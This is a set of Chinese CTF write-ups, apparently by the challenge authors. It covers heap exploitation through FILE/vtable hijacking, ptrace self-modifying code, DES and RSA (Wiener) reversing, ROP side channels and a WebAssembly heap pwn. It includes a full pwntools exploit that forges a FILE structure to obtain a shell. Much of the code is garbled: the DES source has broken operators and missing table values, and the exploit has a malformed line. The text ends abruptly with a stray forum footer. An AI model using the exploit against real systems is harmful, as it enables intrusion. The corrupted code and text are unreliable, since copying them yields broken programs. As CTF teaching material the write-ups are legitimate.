如何通过unsortedbin attack利用我就不多说了, 应该会有其他wp放出。我说一下如何利用 fastbin attack解决这个问题。首先我们能free 一个top chunk,然后有了第一个就能有第二个,不断申请内存或者覆盖top chunk的size可以很轻易的做到这点。同时,我们可以另下面那个的size为0x41,之后申请上面那个堆块就能把下面这个fastbin覆盖了。通过这个0x41的fastbin attack, 我们可以覆盖到位于data段上的stdout指针,具体如下
--------------------
--------------------
freed chunk1
--------------------
--------------------
--------------------
--------------------
freed chunk2(0x41)
chunk2-&fd=target
--------------------
--------------------
当然libc中是存在onegadget的,所以也有人直接去覆盖malloc_hook,这些都可以
然后一个比较蛋疼的是libc-2.24的问题,因它为加入了新的对vtable的检验机制。如何绕过呢?这个方法很多,只要记得一点,我们已经能控制“整个“FILE结构体,这点如果稍微去看下源码的话应该能找到很多方法,这里提供一个替换vtable( _IO_file_jumps)到另一个vtable( _IO_str_jumps), 利用两个vtable defalut方法的不同拿到shell的解题脚本(偏移请自行更改):
from pwn import *
context.log_level='debug'
def pr(size,data):
p.sendline(str(size))
p.sendline(data)
p.recvuntil('result: ')
return p.recvuntil('size: ')[:-5]
p = process('./babyprintf')
p.recvuntil('size: ')
for i in range(32):
pr(0xff0,'a')
p.sendline('0xe00')
p.sendline('%llx')
p.recvuntil('result: ')
libc_addr = int('0x'+p.recv(12),16)-0x3c6780
print 'libc: ',hex(libc_addr)
p.recvuntil('size: ')
pr(8,'a'*0x18+p64(0x1d1))
pr(0x1d0,'1')
pr(0x130,'1')
pr(0xd00,'1')
pr(0xa0,'a'*0xa8+p64(0x61))
pr(0x200,'a')
p.sendline('0x60')
p.recvuntil('string: ')
p.sendline('\x00'*0xx41)+p64(0x601062))
pr(0x30,'a')
system_addr = libc_addr + 0x45390
sh_addr = libc_addr + 0x18cd17
malloc_addr = libc_addr + 0x84130
vtable_addr = libc_addr+0x3c37a0
flag=2|0x8000
fake_stream = p64(flag)+p64(0)
fake_stream += p64(0)*2
fake_stream += p64(0)
fake_stream += p64(0x7fffffffffffffff)
fake_stream = fake_stream.ljust(0x38,'\x00')
fake_stream += p64(sh_addr)
fake_stream += p64(sh_addr)
fake_stream = fake_stream.ljust(0xc0,'\x00')
fake_stream += p64(0xffffffffffffffff)
fake_stream = fake_stream.ljust(0xd8,'\x00')
fake_stream += p64(vtable_addr)
fake_stream += p64(malloc_addr) #alloc
fake_stream += p64(system_addr) #hook free
p.sendline('0x30')
p.sendline('a'*14+p64(0x601090)+p64(0)+fake_stream)
p.interactive()
主要考察对ptrace的认识和rc6,rc4的识别
真正的加密和解密过程很简单,就是一个标准的rc6,只要把函数中的那个int常量放到google里搜索一下就知道是rc6加密(这个函数的代码被rc4加密了,不不解密是看不到的)。
rc6加密和解密的代码见源码
程序首先判断启动参数,如果argc为1,则以debugger身份启动,利用fork分出parent和child。parent作为真正的debugger,child利用execve来启动自身并以父进程的pid作为启动参数。
如果argc为2,说明是debuggee。程序利用puts打印plz_input_flag,但是write的syscall被ptrace hook了。puts的原始内容是乱码,需要debugger对其进行解密。
然后是利用scanf来接收flag。默认是允许输入%48s但是这里ptrace hook了read syscall,检测read syscall触发的次数(在程序开头利用setbuf将stdin和stdout的缓冲调整为0),从而使flag的真实最大长度为32。
接着是一段判断是否调试者为父进程的代码,没问题的话会调用fclose来关闭之前打开的文件。此处用ptrace hook了close syscall。但是在程序运行前也会调用close syscall。这里利用设置变量的方式,使得在第二次close的时候触发。
触发时执行的代码是利用rc4将两个函数解密,然后patch代码为0xcc使程序停在检测trace代码的下一行,在将其patch成jmp到data段的那段唯一可视的雷军ascii字符处,并将flag传递给rdx,接着继续执行。雷军那段ascii其实是代码。前面的52Mi!是xor eax, 0x21694d32,从而使后面的jne全部成立,R_是pop rdi,从而将之前在rdx中的flag传递到rdi中。利用u_这个jne跳转跳过中间的非代码区,最后jmp到encrypt函数中。
encrypt函数就是调用rc6加密,将32位的flag分16位两次加密,最后和enc结果比较。
由于调用了很多的ptrace来实现smc和hook,纯动态分析应该不太可能实现,需要静态分析后patch程序才能使用动态分析。
完整程序见github,由于有smc部分,可能在不同机子上编译结果不正确,所以提供了一个测试用的binary。
ippatsu-nyuukon
0x00 写在前面
 设计思路:
 应用层与驱动层通信,在驱动层加密由应用层发送过来的明文后比较flag,并输出结果
 部分细节:
驱动层的分发函数分为2部分,SEND和RECV;
SEND:接受从应用层发来的明文并加密,其本体是DES
RECV:比较加密后的明文和加密flag
驱动层接受的明文,实际上只有第一次加密结果是正确的
DES后将不可视数据转为hex
加密数据与加密flag比较前先异或同一个随机字节
跟到分发函数的SEND, 定位加密算法
因为DES对称加密算法,所以从ida中抠出来,修改小部分并添加密文+key就可以跑解密脚本了
// desrypt_des.cpp
#include &stdio.h&
#include &string.h&
#define maxn 0x8000
// 理论支持明文长度
//#define ENCODE 0,16,1
// 加密用的宏
#define DECODE 15,-1,-1
// 解密用的宏
// 明文初始置换
char msg_ch[64] = {
58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17,
9, 1, 59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7
// 密钥初始置换
char key_ch[56] = {
57, 49, 41, 33, 25, 17,
1, 58, 50, 42, 34, 26, 18,
2, 59, 51, 43, 35, 27, 19, 11,
3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
6, 61, 53, 45, 37, 29, 21, 13,
5, 28, 20, 12,
// 扩展置换
char msg_ex[48] = {
9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32,
// 每轮密钥的位移
char key_mov[16] = {
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
// 压缩置换
char key_cmprs[48] = {
14, 17, 11, 24,
3, 28, 15,
6, 21, 10,
23, 19, 12,
7, 27, 20, 13,
41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32
// S 盒置换
char s_box[8][6][16] = {
2, 15, 11,
6, 12, 11,
2, 11, 15, 12,
3, 14, 10,
2, 13, 12,
8, 14, 12,
7, 11, 10,
1, 13, 12,
5, 14, 12, 11, 15,
5, 10, 14,
1, 10, 13,
4, 15, 14,
7, 13, 14,
5, 11, 12,
1, 10, 14,
0, 12, 11,
7, 13, 15,
5, 11, 12,
7, 10, 11,
3, 15, 13,
0, 15, 10,
1, 11, 10, 13,
1, 10, 15,
1, 13, 14,
9, 14, 15,
1, 13, 11,
5, 15, 10, 11, 14,
2, 14, 15,
1, 10, 14,
4, 11, 13, 12,
7, 14, 10, 15,
6, 11, 13,
0, 15, 14,
6, 15, 11,
1, 15, 13,
9, 12, 14,
6, 10, 13, 15,
8, 13, 15, 12,
// P 盒置换
char p_box[32] = {
16, 7, 20, 21, 29, 12, 28, 17, 1,
15, 23, 26, 5,
18, 31, 10,
8, 24, 14, 32, 27, 3,
19, 13, 30, 6,
22, 11, 4,
char last_ch[64] = {
40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41,
9, 49, 17, 57, 25
// hash 置换,将加密后的密文置换为可读明文
char hs_ch[20] = "abcdef";
char sh_ch[128];
void init_trans() {
for (i = 0; i & 16; i++)
sh_ch[hs_ch[i]] =
// 完成hash转换的对应
char msg[maxn] = "aedbabb99acf5ebb9f5cd8cd44a77c5f3d773fe908";
char res[32];
char msgb[72], msgbt[72], keyb[18][72];
char key[16] = "deadbeef";
// 字符转成二进制
void ChToBit(char* dest, char* src, int length) {
for (i = 0; i & i++) {
for (j = 8, t = src[i]; j & 0; j--) {
dest[(i && 3) + j] = t & 1;
// 取字符末位
// 二进制转成字符
void BitToCh(char* dest, char* src, int length) {
for (i = 0; i & length && 3; i++) {
dest[i && 3] &&= 1;
dest[i && 3] |= src[i + 1];
// 添加到末位
dest[length] = 0;
// 批置换,以offset为偏移,以count为长度
void BatchSet(char* dest, char* src, char* offset, int count) {
for (i = 0; i & i++)
dest[i + 1] = src[offset[i]];
// 得到16轮所需的密钥
void getKeys() {
char tk[128], bk[72];
char* ptk =
for (i = 0; i & 8; i++)
key[i] &&= 1; // 跳过奇偶校验位
ChToBit(bk, key, 8);
BatchSet(tk, bk, key_ch, 56);
for (i = 0; i & 16; i++) {
for (j = 0; j & key_mov[i]; j++, ptk++) {
ptk[57] = ptk[28];
ptk[28] = ptk[1];
BatchSet(keyb[i], ptk, key_cmprs, 48);
// 将密文转换为真正的密文
void dropMsg(char* dest, char* src) {
for (i = 0; i & 16; i++) {
dest[i && 1] = (dest[i && 1] && 4) | sh_ch[src[i]];
void DES(char* pmsg, int st, int cl, int step) {
int i, row,
char r[64], rt[48], s[8];
ChToBit(msgbt, pmsg, 8);
BatchSet(msgb, msgbt, msg_ch, 64); // 初始置换
for (; st != st += step) {
memcpy(rt, msgb + 33, 32);
BatchSet(r, msgb + 32, msg_ex, 48); // 扩展置换
for (i = 1; i &= 48; i++)
r[i] ^= keyb[st][i]; // 异或操作
// s_box 代替
for (i = 0; i & 48; i += 6) {
row = col = 0;
row = r[i + 1] && 1 | r[i + 6];
col = (r[i + 2] && 3) | (r[i + 3] && 2) | (r[i + 4] && 1) | r[i + 5];
s[i / 12] = (s[i / 12] &&= 4) | s_box[i / 6][row][col];
ChToBit(r, s, 4);
BatchSet(msgb + 32, r, p_box, 32); // p_box 置换
for (i = 1; i &= 32; i++)
msgb[i + 32] ^= msgb[i]; // 异或
memcpy(msgb + 1, rt, 32);
memcpy(msgbt + 33, msgb + 1, 32);
memcpy(msgbt + 1, msgb + 33, 32);
BatchSet(msgb, msgbt, last_ch, 64); // 末置换
BitToCh(res, msgb, 8); // 转为原明文
int main(int arg, char* arv[]) {
init_trans();
char mode = 'd';
getKeys(); // 得到16轮要用到的密钥
printf("dec: ");
for (i = 0; msg[i]; i += 16) {
dropMsg(res, msg + i); // 将密文转换为真正的密文
DES(res, DECODE); // 解密
printf("%s", res);
printf("\n");
简单来说 只要把加密宏[0, 16 ,1]替换为[15, -1, -1]解密宏即可。
hctf{Dr1v5r_M5ngM4n_2Oi7}
ps: 附一张成功cm的截图
这题的名字叫babystack,程序中是一个直接的栈溢出。而且还自带一次任意地址读。
当然这题的难点也很简单,只有read,write,open,exit系统调用。之所以搞出这个题目是受defcon的mute那题的启发。mute那题是用shellcode来实现的侧信道攻击。所以我就想能否用rop来实现侧信道的攻击。
下面是我在libc里找到的一个可以用来侧信道攻击的ROP
.text:D72CE
.text:D72D0
short loc_D7266
.text:D72D2
.text:D72D3
在ret之后用一个read函数来block住代码。而比较成功之后则直接crash退出。使用这种方法来逐字节的比较flag。
当然,解法不止这一种。libc里还有很多种的rop可以用来进行侧信道攻击。可以看看选手们的解法.
这个题目的难度其实处在第三层和第四层之间。当初把它放第四层其实有点犹豫,因为感觉会有老司机秒杀他。
这个题目说起来其实很简答,我写了一个蒙哥马利乘算法和一个大整数加减的库。熟悉密码学的大佬应该知道蒙哥马利乘运算的作用就是进行快速模幂运算,即RSA的核心算法。
有关蒙哥马利算法的文章网上其实有很多,我就不再赘述了。代码中只有e和n。将输入的flag转换成大数的形式,然后做en = pow(f,e,n)输出了大数en。这里用了一个非常大的e,使得可以用Wiener's attack来计算出d的值。然后用d即可解密出flag。
之所以认为他简单,是因为即使不知道蒙哥马利乘运算也能够猜出是RSA。首先是因为大整数加减以及乘运算,这些大整数运算还是很容易就可以分辨的。一旦分辨出这些运算,应该就能联想到RSA。第二个就是模幂运算化简式子。对于一个D=C**E%N的大数运算,可以采用下面的化简式子。
FOR i=n TO 0
能看出这个式子是模幂运算的化简式子,即使看不懂乘法函数是个什么鬼。应该也能猜到什么了。
之所以写这个题目,只有一次在写实际栈溢出利用的时候碰到了这个情况。栈溢出是在链接库中,没有打开的可以leak用的文件描述符。而主程序就只有这么一点点代码。当时自己写rop的时候感觉挺有意思的,就拿出来写了这样一个题目(主程序是我直接patch当初那个程序来的,没有源码。可以猜猜是什么程序:)
当然launch.so就是我自己写的程序了。里面大致模拟了ipv4包解析的过程。当然也是一个直接的栈溢出。在最后合并包的时候并没有检查长度而是使用了一个固定长度的栈缓冲区。
当然虽然binary比较小,其实还是有挺多可以用的gadget的。这里还有一个很好玩的技巧,就是dlsym的handle可以指定为RTLD_DEFAULT和RTLD_NEXT来从已经加载的动态链接库中查找函数。所以无需指定handle的值可以可以调用libc中的函数的。
old driver
这个逆向题目其实也是一个算法题,很可惜没有人能做出来。写这个题目的初衷是我上学期上的数据压缩实验。这个算法期末占15分huaji.jpg
好吧,这个压缩算法其实就是jpeg压缩算法拉。当然和现在通用的jpg图片的压缩算法还是有点差别的,是最初最简单的那个版本。有关jpeg压缩算法的介绍其实挺多的。如果不是像我一样不习惯用MATLAB的话。其实用MATLAB解这东西其实是最快的。
当然jpeg压缩其实也有很多的特征可以查找的。包括DFT算法实现,包括量化用的标准量化表,包括最后做哈弗曼编码所用的哈弗曼表。其实都是非常明显的特征。最明显的就是jpeg压缩所使用的量化表了。抠出来一查就能发现。
decode.py就是我自己写的重建jpeg用的函数。当然如果发现重建的图像非常魔性也不要惊讶。是我压缩比率调整的太高的原因。反正能看到flag就可以了2333
online encryptor
这题由于放题的时候失误没把题开始就放上去,所以剩下的时间可能不够去做了。而且好像有被题目名误导到的人( 。回到题目,这题是一个披着web和crypt皮的pwn题。事实上,在之前刚看到wasm的时候我就有想能不能搞个pwn出来。然后这次也算是实现了自己的一些想法。
webassembly (以下简称wasm) 技术目前可以说并不完善,而且我也并不算是了解了整个系统的全貌,因此如果有理解不到位的地方请见谅,欢迎一起讨论。
事实上,在wasm技术提出之前就已经有类似技术出现了(asm.js),wasm和asm.js不同的是wasm创建了二进制文件格式(.wasm)和新的汇编语言。比如helloword的汇编看上去就是这样的(会lisp的同学看起来大概没啥鸭梨)
(type $FUNCSIG$ii (func (param i32) (result i32)))
(type $FUNCSIG$iii (func (param i32 i32) (result i32)))
(import "env" "iprintf" (func $iprintf (param i32 i32) (result i32)))
(table 0 anyfunc)
(memory $0 1)
(data (i32.const 16) "hello world!\00")
(export "memory" (memory $0))
(export "hello" (func $hello))
(export "test" (func $test))
(func $hello
(call $iprintf
(i32.const 16)
(i32.const 0)
(func $test (result i32)
(i32.const 16)
关于这些指令的具体意义可以去官方文档上看。这里就不多展开了。两者的目标相接近,都是为了能用c/c++语言写web(可以想象一下js那效率。。。),所以这题的wasm当然也是c写的。
然后怎么出成一个pwn呢,wasm存在函数栈,但这部分是有严格check的(可以类比下python的,其实js引擎负责解析wasm的部分也是个解释器),而且这个栈是对用户隐藏的,也就是搞栈这条路断了(至少我没想出来怎么搞这个栈),于是打算出一个关于堆的pwn。
这题本来想用emcc编译,但emcc编译出来的wasm和js复杂难懂。。。至少我觉得如果我用emcc编译出来那是99%没人做出来的。所以用了clang+binaryen+wabt 来生成wasm。接下来介绍几个必要的姿势:
1. memory layout
wasm的memory默认是从0开始向下拓展,以10k为一个基本单位,当内存不够的时候可以通过grow指令增长,当然js层也有相应的接口可以调用。memory里面会有全局变量,当然你想放啥都可以,自己实现一个堆管理或者直接用glibc的那个堆管理都是可以的。同样,js层和c层都可以对其中的内存进行读写操作。
2. js层和c层的互相调用
js调用c层可以通过在c层定义好相应的函数,然后export,直接就能在js层调用,这里说一个参数问题。
wasm用的是32位,也就是参数和返回值都可以当作uint32_t,对于js来说这就是单纯的一个数字,但对于c来说如果你是char* ,那么它就是指向memory地址的一个char指针。如果是int,就是整形,这点就

我要回帖

更多关于 礼仪蹲姿的基本要求 的文章

 

随机推荐